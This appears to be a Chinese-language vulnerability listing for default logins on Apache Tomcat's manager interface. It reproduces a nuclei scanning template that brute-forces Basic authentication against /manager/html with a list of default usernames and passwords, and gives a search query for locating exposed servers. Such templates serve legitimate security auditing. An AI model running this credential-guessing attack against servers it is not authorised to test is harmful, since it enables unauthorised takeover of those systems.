漏洞信息
漏洞名称： Apache Tomcat Manager Default Login
漏洞类型： 弱口令
漏洞等级： 高危
漏洞描述： Apache Tomcat是一个广泛使用的开源Web服务器和Servlet容器，支持Java Servlet和JavaServer Pages (JSP)技术，常用于企业级Web应用的部署。由于其广泛的应用，Tomcat的安全性尤为重要。该漏洞涉及Tomcat管理器界面的默认登录凭证问题，攻击者可以利用这些默认凭证未经授权访问管理界面。漏洞的技术根源在于系统部署时未更改默认的用户名和密码，或者使用了常见的弱密码组合。这种情况通常发生在管理员未遵循安全最佳实践，如更改默认凭证或实施强密码策略。攻击者通过尝试这些默认或弱密码组合，可以成功登录到Tomcat的管理界面，进而执行恶意操作，如部署恶意Web应用、查看敏感信息或控制服务器。由于管理界面具有高级权限，此类漏洞的利用可能导致严重的安全后果，包括服务器完全被控制。值得注意的是，这种攻击不需要复杂的技巧，且可以自动化执行，使得风险进一步加大。因此，管理员应立即更改默认凭证，并实施强密码策略，以减轻此类风险。
产品厂商： apache
产品名称： tomcat
影响版本： *
搜索语法： title:”Apache Tomcat”
来源： https://github.com/projectdiscovery/nuclei-templates/blob/d694ffeb6baa526904249ded765790e5726c0b03/http%2Fdefault-logins%2Fapache%2Ftomcat-default-login.yaml
类型： projectdiscovery/nuclei-templates:github issues
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id: tomcat-default-login
info:
name: Apache Tomcat Manager Default Login
author: pdteam,sinKettu,nybble04
severity: high
description: Apache Tomcat Manager default login credentials were discovered. This template checks for multiple variations.
reference:
- https://www.rapid7.com/db/vulnerabilities/apache-tomcat-default-ovwebusr-password/
- https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt
classification:
cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
metadata:
max-request: 406
vendor: apache
product: tomcat
shodan-query: title:"Apache Tomcat"
tags: tomcat,apache,default-login
flow: http(1) && http(2)
http:
- raw:
- |
GET /manager/html HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
words:
- "Apache Tomcat"
- "401 Unauthorized"
condition: or
internal: true
- raw:
- |
GET /manager/html HTTP/1.1
Host: {{Hostname}}
Authorization: Basic {{base64(username + ':' + password)}}
payloads:
username:
- ADMIN
- QCC
- admin
- both
- cxsdk
- demo
- j2deployer
- manager
- ovwebusr
- role
- role1
- root
- server_admin
- tomcat
- xampp
password:
- ADMIN
- OvW*busr1
- Password1
- QLogic66
- admanager
- admin
- adrole1
- adroot
- ads3cret
- adtomcat
- advagrant
- changethis
- demo
- j2deployer
- kdsxc
- manager
- owaspbwa
- password
- password1
- r00t
- role1
- root
- s3cret
- tomcat
- toor
- vagrant
- xampp
attack: clusterbomb # Available options: sniper, pitchfork and clusterbomb
threads: 30
matchers-condition: and
matchers:
- type: word
part: body
words:
- "Apache Tomcat"
- "Server Information"
condition: and
- type: word
part: body
words:
- "Tomcat Version"
- "JVM Version"
- "JVM Vendor"
- "OS Name"
- "OS Version"
- "OS Architecture"
- "Hostname"
- "IP Address"
condition: or
- type: status
status:
- 200
|